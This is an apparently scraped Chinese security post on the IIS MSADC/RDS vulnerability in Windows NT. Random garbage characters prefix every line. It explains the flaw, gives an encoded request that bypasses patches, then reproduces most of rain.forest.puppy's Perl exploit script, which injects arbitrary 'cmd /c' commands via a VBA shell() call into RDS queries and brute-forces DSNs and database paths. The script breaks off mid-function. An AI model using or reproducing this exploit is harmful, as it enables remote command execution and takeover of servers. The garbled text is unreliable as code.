IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
92c HwWZ! ibw;}^m( 涉及程序:
H.;Q+A,8^ Microsoft NT server
\!(zrfP{( ZC?Xqp 描述:
LscGTs, 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
GB^B r6 9$Y=orpWxr 详细:
83m3OD_y 如果你没有时间读详细内容的话,就删除:
~>G^=0LT c:\Program Files\Common Files\System\Msadc\msadcs.dll
pdMc}=K 有关的安全问题就没有了。
KXrjqqXs "N;EL0= 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
YQ}o?Q$z . me;.,$# 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
.X&9Q9T=# 关于利用ODBC远程漏洞的描述,请参看:
^pS~Z~[d/
jo7\`#(Q http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm t:S+%u U gr{ DWCK 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
z{543~Og59 http://www.microsoft.com/security/bulletins/MS99-025faq.asp Pfh mo $ YR70BOxK 这里不再论述。
[ )F<V! rjP/l6
~' 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
@CoIaUVP 3^ClAE"8 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
7=uj2.J6 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
iCoX&"lb "tZe>>I t-AmX)$ #将下面这段保存为txt文件,然后: "perl -x 文件名"
?M2J wAK5 :m;p:l|W #!perl
)+^+sd #
jdN`mosJ # MSADC/RDS 'usage' (aka exploit) script
4| f*eO #
Mt$
*a # by rain.forest.puppy
X2_=agEP #
UG^q9 :t # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Wqnc{oq|$ # beta test and find errors!
VTM/hJmwJ ~u{uZ(~ use Socket; use Getopt::Std;
zA 3_Lx! getopts("e:vd:h:XR", \%args);
965jtn GdwVtqbX print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
@~e5<:|5# #E?4E1bnB if (!defined $args{h} && !defined $args{R}) {
>?b!QU*a print qq~
u,
ff>/1 Usage: msadc.pl -h <host> { -d <delay> -X -v }
0sqFF[i -h <host> = host you want to scan (ip or domain)
Dv"9qk -d <seconds> = delay between calls, default 1 second
ZNoDFf*h -X = dump Index Server path table, if available
7v kL1IA -v = verbose
T%Lx%Qn -e = external dictionary file for step 5
do%&m]#; KXy6Eno Or a -R will resume a command session
ixFi{_ m*pJBZxd ~; exit;}
6<]lW |=w@H]r $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
=&]L00u. if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
h\o.&6sd if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
'V {W-W< if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
zdYjF| $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
&HW9Jn if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
>j/w@Fj WLT"ji0w2 if (!defined $args{R}){ $ret = &has_msadc;
'NmRR]Q9 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
m@c)Xci NOva'qk print "Please type the NT commandline you want to run (cmd /c assumed):\n"
)2.Si# . "cmd /c ";
UfGkTwoo= $in=<STDIN>; chomp $in;
29KiuP $command="cmd /c " . $in ;
XwmL.Gg:]7 [~HN<>L@C if (defined $args{R}) {&load; exit;}
W4S,6( <YY 14p print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
>Ry01G]_/h &try_btcustmr;
*pq\MiD/ !a`&O-ye print "\nStep 2: Trying to make our own DSN...";
N)T}P\l &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
]esC[r]PJ ^sw?gH* print "\nStep 3: Trying known DSNs...";
EwN}l &known_dsn;
aOp\91
wT@og|M print "\nStep 4: Trying known .mdbs...";
d-qUtgqV86 &known_mdb;
K-4PI+qQ\ _b 0&!l<
if (defined $args{e}){
6Oq7#3] print "\nStep 5: Trying dictionary of DSN names...";
UNYqft4 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
#e"[^_C@! "sTRS* print "Sorry Charley...maybe next time?\n";
)8AXm exit;
@]j1:PN-
A"]YM'. ##############################################################################
f#;> g .nJz G sub sendraw { # ripped and modded from whisker
:X=hQ:>P sleep($delay); # it's a DoS on the server! At least on mine...
>7|VR:U?B my ($pstr)=@_;
Ac@VGT:9 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
*w&e\i|7 die("Socket problems\n");
x:Y1P: if(connect(S,pack "SnA4x8",2,80,$target)){
4dlGxat select(S); $|=1;
9w"*y#_ print $pstr; my @in=<S>;
zPO9!?7| select(STDOUT); close(S);
V!Uc( return @in;
6m93puY`7 } else { die("Can't connect...\n"); }}
K1KreYlF ]kSG R ##############################################################################
L0,'mS 2G7Wi!J sub make_header { # make the HTTP request
&d!GImcxQ my $msadc=<<EOT
>Tgv11[ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
ll^#JpT[S User-Agent: ACTIVEDATA
<I?Zk80 Host: $ip
-RwE%cr Content-Length: $clen
1zv'.uu., Connection: Keep-Alive
:;}P*T*PU $FV NCFN% ADCClientVersion:01.06
e
,(mR+a8 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
kVgTGC"L= C+$#y2"z#n --!ADM!ROX!YOUR!WORLD!
jcOcWB| Content-Type: application/x-varg
XS#Qu=,- Content-Length: $reqlen
<~)P7~$d?p +7Gwg EOT
[n@]
r2g)3 ; $msadc=~s/\n/\r\n/g;
%b$>qW\*& return $msadc;}
D*jM1w_` 04ui`-c( ##############################################################################
K;?+8(H Q,g\ sub make_req { # make the RDS request
3]Ct6 my ($switch, $p1, $p2)=@_;
d]9z@Pd my $req=""; my $t1, $t2, $query, $dsn;
wk^B"+Uhy kiEa<-] if ($switch==1){ # this is the btcustmr.mdb query
7CysfBF0g $query="Select * from Customers where City=" . make_shell();
V3Bz
Mw\9r $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
V~GDPJ+ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
("KF'fp&M2 3o*YzwRt elsif ($switch==2){ # this is general make table query
/ZX}Nc g $query="create table AZZ (B int, C varchar(10))";
F?0Ykjh3 $dsn="$p1";}
&oNAv-m^GD 2?C)& elsif ($switch==3){ # this is general exploit table query
)%TmAaj9d $query="select * from AZZ where C=" . make_shell();
6tZI["\ $dsn="$p1";}
!
nx{
X "]*tLL:` elsif ($switch==4){ # attempt to hork file info from index server
iZmcI;?u $query="select path from scope()";
PCA4k.,T $dsn="Provider=MSIDXS;";}
?,/ }`3Vw Cp N>p.kM elsif ($switch==5){ # bad query
P}iE+Z3 $query="select";
`[A];] $dsn="$p1";}
l/D}
X @ Qe0! (_= $t1= make_unicode($query);
rv;3~'V $t2= make_unicode($dsn);
~*7]r`6\@ $req = "\x02\x00\x03\x00";
'u658Tj $req.= "\x08\x00" . pack ("S1", length($t1));
crCJrN= $req.= "\x00\x00" . $t1 ;
z?zL9 7H $req.= "\x08\x00" . pack ("S1", length($t2));
@EAbF>> $req.= "\x00\x00" . $t2 ;
=4!mAo} $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
9WHddDA return $req;}
xw%0>K[ x-c"%Z| ##############################################################################
WIOV2+ `oJ [u:b sub make_shell { # this makes the shell() statement
=N@t'fOr return "'|shell(\"$command\")|'";}
*hrd5na =Qq+4F)MD ##############################################################################
ESs\O?nO *:1ey{w: sub make_unicode { # quick little function to convert to unicode
p_ =z# my ($in)=@_; my $out;
9Flb|G% for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
$'TM0Yu, return $out;}
)0MB9RMk1 }G=M2V<L ##############################################################################
/?!u{(h } R]dg_Da sub rdo_success { # checks for RDO return success (this is kludge)
m|# y
>4 my (@in) = @_; my $base=content_start(@in);
c,22*.V/ if($in[$base]=~/multipart\/mixed/){
?"FbsMk.d return 1 if( $in[$base+10]=~/^\x09\x00/ );}
$M#>9QHhc return 0;}
b-y !wNO8;( ##############################################################################
l2d{ 73h l0]
EX>"E sub make_dsn { # this makes a DSN for us
4 :=]<sc, my @drives=("c","d","e","f");
a?.=V print "\nMaking DSN: ";
@;kSx":b foreach $drive (@drives) {
|}1dFp print "$drive: ";
hph4 `{T my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
h![#;>( "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Jwp7gYZ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
M2|is ~ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
CARzO7b\w return 0 if $2 eq "404"; # not found/doesn't exist
*=n:- if($2 eq "200") {
Qd6F H2Pl foreach $line (@results) {
*VeRVaBl return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
5;S.H#YOpO } return 0;}
bcR_E5x$ "3hMq1NQ`g ##############################################################################
ckn~#UE= BHw, 4#F1; sub verify_exists {
&~!Wym my ($page)=@_;
aT<q=DO my @results=sendraw("GET $page HTTP/1.0\n\n");
"j-CZ\]U| return $results[0];}
1cGmg1U; nm+s{ ##############################################################################
9cgUT@a z=FZiH sub try_btcustmr {
Tr|JYLwF my @drives=("c","d","e","f");
i?gSC<a my @dirs=("winnt","winnt35","winnt351","win","windows");
q =Il|Nb> nie% eC&U foreach $dir (@dirs) {
fLVAKn print "$dir -> "; # fun status so you can see progress
`kr?j:g foreach $drive (@drives) {
BD-AI print "$drive: "; # ditto
to\Ni~a& $reqlen=length( make_req(1,$drive,$dir) ) - 28;
9akH $reqlenlen=length( "$reqlen" );
rbQR,Nf2x $clen= 206 + $reqlenlen + $reqlen;
h1{3njdr kR9-8I{J my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Jl<2>@ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Z=
!*e~j@ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
V$~9]*Wn LF7SS;&~f ##############################################################################
hEk$d.!} 80;(Gt@<" sub odbc_error {
PVOv[% my (@in)=@_; my $base;
QM]YJr3rE my $base = content_start(@in);
T)})
pt!V if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
ipILG4 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j7c3(*Pl $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
z] Ue|%K $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
W%)Y#C return $in[$base+4].$in[$base+5].$in[$base+6];}
CP{cAzHO print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
@I*{f print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
|CzSU1ma $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
]_f<kW\1* 6R5Qy]]E ##############################################################################
KdlQ!5(?X LDD|(KLR*. sub verbose {
UDni]P!E my ($in)=@_;
*,m; return if !$verbose;
T#)P`q print STDOUT "\n$in\n";}
*:NQ&y*uj Faf&U%]*` ##############################################################################
s0_nLbWwO 9S -9.mvop sub save {
<9%R\_@$H my ($p1, $p2, $p3, $p4)=@_;
N !|wo: open(OUT, ">rds.save") || print "Problem saving parameters...\n";
RGU\h[ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
5Dl/aHb close OUT;}
"T"h)L< Bw{I;rW{2 ##############################################################################
4{l, "Yca%: sub load {
MxGW(p my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
h=%_Ao<x open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Y#3c }qb @p=<IN>; close(IN);
$j?1g# $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
:\}(&
> $target= inet_aton($ip) || die("inet_aton problems");
N&V`K0FU print "Resuming to $ip ...";
6i*sm.SDw $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Qdp)cT if($p[1]==1) {
yH}s<@y;7 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
))i }7chc $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
fg{n(TE"8 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
)];K .zP if (rdo_success(@results)){print "Success!\n";}
pU7lnS[ else { print "failed\n"; verbose(odbc_error(@results));}}
Pco'l#: elsif ($p[1]==3){
27<
Enq] if(run_query("$p[3]")){
eNu7~3k} print "Success!\n";} else { print "failed\n"; }}
OaZQ7BGq elsif ($p[1]==4){
=6#Eh=7N if(run_query($drvst . "$p[3]")){
lUiL\~Gq print "Success!\n"; } else { print "failed\n"; }}
Zoc0!84<z exit;}
@oad,=R& 9RI-Lq` ##############################################################################
"v4B5:bmqW kn"(A.R sub create_table {
:$9tF> my ($in)=@_;
,<p}o\6 $reqlen=length( make_req(2,$in,"") ) - 28;
]P2"[y $reqlenlen=length( "$reqlen" );
AZ}Xj>= $clen= 206 + $reqlenlen + $reqlen;
[\b0Lem my @results=sendraw(make_header() . make_req(2,$in,""));
>u8gD6X return 1 if rdo_success(@results);
aCLq k' my $temp= odbc_error(@results); verbose($temp);
a+T.^koY return 1 if $temp=~/Table 'AZZ' already exists/;
MO <3"@/, return 0;}
'anG:= kd$D 3S^{ ##############################################################################
we?76t:- p`#R<K sub known_dsn {
a"g!e^ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
|WdPE@P my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
B i<Q=x'Z; "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
L4|`;WP "banner", "banners", "ads", "ADCDemo", "ADCTest");
usL*
x9i 'D"C4;X foreach $dSn (@dsns) {
1&(V print ".";
,V:SN~P66+ next if (!is_access("DSN=$dSn"));
A1?2*W if(create_table("DSN=$dSn")){
p >t#@Eu| print "$dSn successful\n";
&7wd?)s if(run_query("DSN=$dSn")){
P0PWJ^+,+ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
3az&